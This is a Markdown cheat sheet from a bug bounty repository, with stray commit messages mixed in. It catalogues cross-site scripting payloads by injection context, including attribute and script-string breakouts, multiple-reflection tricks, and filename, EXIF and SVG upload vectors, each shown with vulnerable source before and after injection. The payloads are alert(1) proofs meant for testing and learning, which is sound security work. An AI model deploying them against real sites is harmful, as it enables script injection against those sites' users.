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AllAboutBugBounty/XSS.md

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XSS [5] Add 5 XSS cheat sheet
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# XSS Cheat Sheet (Basic)
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1. Basic payload
```html
<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
```
2. Add ' or " to escape the payload from value of an HTML tag
```html
"><script>alert(1)</script>
'><script>alert(1)</script>
```
* Example source code
```html
<input id="keyword" type="text" name="q" value="REFLECTED_HERE">
```
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* After input the payload
```html
<input id="keyword" type="text" name="q" value=""><script>alert(1)</script>
```
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3. Add --> to escape the payload if input lands in HTML comments.
```html
--><script>alert(1)</script>
```
* Example source code
```html
<!-- REFLECTED_HERE -->
```
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* After input the payload
```html
<!-- --><script>alert(1)</script> -->
```
XSS [1] Create a post about XSS payload and add 6 payloads
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4. Add </tag> when the input inside or between opening/closing tags, tag can be <a>,<title,<script> and any other HTML tags
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```html
</tag><script>alert(1)</script>
"></tag><script>alert(1)</script>
```
* Example source code
```html
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<a href="https://target.com/1?status=REFLECTED_HERE">1</a>
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```
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* After input the payload
```html
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<a href="https://target.com/1?status="></a><script>alert(1)</script>">1</a>
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```
XSS [1] Create a post about XSS payload and add 6 payloads
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5. Use when input inside an attribute’s value of an HTML tag but > is filtered
```html
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" onmouseover=alert(1)
" autofocus onfocus=alert(1)
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```
* Example source code
```html
<input id="keyword" type="text" name="q" value="REFLECTED_HERE">
```
XSS [2] Add 2 tips and add the preview of the source code after inputting the payloads
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* After input the payload
```html
<input id="keyword" type="text" name="q" value="" onmouseover=alert(1)">
```
XSS [1] Create a post about XSS payload and add 6 payloads
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6. Use </script> when input inside <script> tags
```html
</script><script>alert(1)</script>
```
* Example source code
```html
<script>
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var sitekey = 'REFLECTED_HERE';
</script>
```
* After input the payload
```html
<script>
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var sitekey = '</script><script>alert(1)</script>';
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</script>
```
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# XSS Cheat Sheet (Advanced)
XSS [2] Add 2 tips and add the preview of the source code after inputting the payloads
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7. Use when input lands in a script block, inside a string delimited value.
```html
'-alert(1)-'
'/alert(1)//
```
* Example source code
```html
<script>
var sitekey = 'REFLECTED_HERE';
</script>
```
* After input the payload
```html
<script>
var sitekey = ''-alert(1)-'';
</script>
```
8. Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash.
```html
\'alert(1)//
```
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* Example source code
```html
<script>
var sitekey = 'REFLECTED_HERE';
</script>
```
XSS [2] Add 2 tips and add the preview of the source code after inputting the payloads
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* If we input payload '-alert(1)-' it will be like this
```html
<script>
var sitekey = '\'-alert(1)-\'';
</script>
```
The quotes are escaped by a backslash so we need to bypass them
* After input the payload
```html
<script>
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var sitekey = '\\'alert(1)//';
</script>
```
9. Use when there’s multi reflection in the same line of JS code
```html
/alert(1)//\
/alert(1)}//\
```
* Example source code
```html
<script>
var a = 'REFLECTED_HERE'; var b = 'REFLECTED_HERE';
</script>
```
* After input the payload
```html
<script>
var a = '/alert(1)//\'; var b = '/alert(1)//\';
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</script>
```
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10. Use when input inside a string delimited value and inside a single logical block like function or conditional (if, else, etc).
```html
'}alert(1);{'
\'}alert(1);{//
```
* Example source code
```html
<script>
var greeting;
var time = 1;
if (time < 10) {
test = 'REFLECTED_HERE';
}
</script>
```
* After input the payload
```html
<script>
var test;
var time = 1;
if (time < 10) {
test = ''}alert(1);{'';
}
</script>
```
> Payload number 2 uses when quote escaped by backslash
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11. Use when input lands inside backticks delimited strings
```html
${alert(1)}
```
* Example source code
```html
<script>
var dapos = `REFLECTED_HERE`;
</script>
```
* After input the payload
```html
<script>
var dapos = `${alert(1)}`;
</script>
```
12. Uses when there is multiple reflections on same page. (Double Reflection)
```html
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
```
* After input the payload
```html
<!DOCTYPE html>
<html>
<body>
'onload=alert(1)><svg/1='
[...]
'onload=alert(1)><svg/1='
</body>
</html>
```
13. Uses when there is multiple reflections on same page. (Triple Reflection)
```html
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
```
* After input the payload
```html
<!DOCTYPE html>
<html>
<body>
*/alert(1)">'onload="/*<svg/1='
[...]
*/alert(1)">'onload="/*<svg/1='
[...]
*/alert(1)">'onload="/*<svg/1='
</body>
</html>
```
XSS [1] Create a post about XSS payload and add 6 payloads
2020-09-12 11:08:09 +00:00
XSS [5] Add 5 XSS cheat sheet
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14. XSS in filename (File Upload) Use when uploaded filename is reflected somewhere in target page
```
"><svg onload=alert(1)>.jpeg
```
15. XSS in metadata (File Upload) Use when uploaded metada is reflected somewhere in target page (using exiftool)
```
$ exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg
```
16. XSS with SVG file (File Upload)
```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
```
17. XSS via markdown
```
[Click Me](javascript:alert('1'))
```
18. XSS in XML page
```
<a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script>
```
> Add a "-->" to payload if input lands in a comment section
> Add a "]]>" if input lands in a CDATA section
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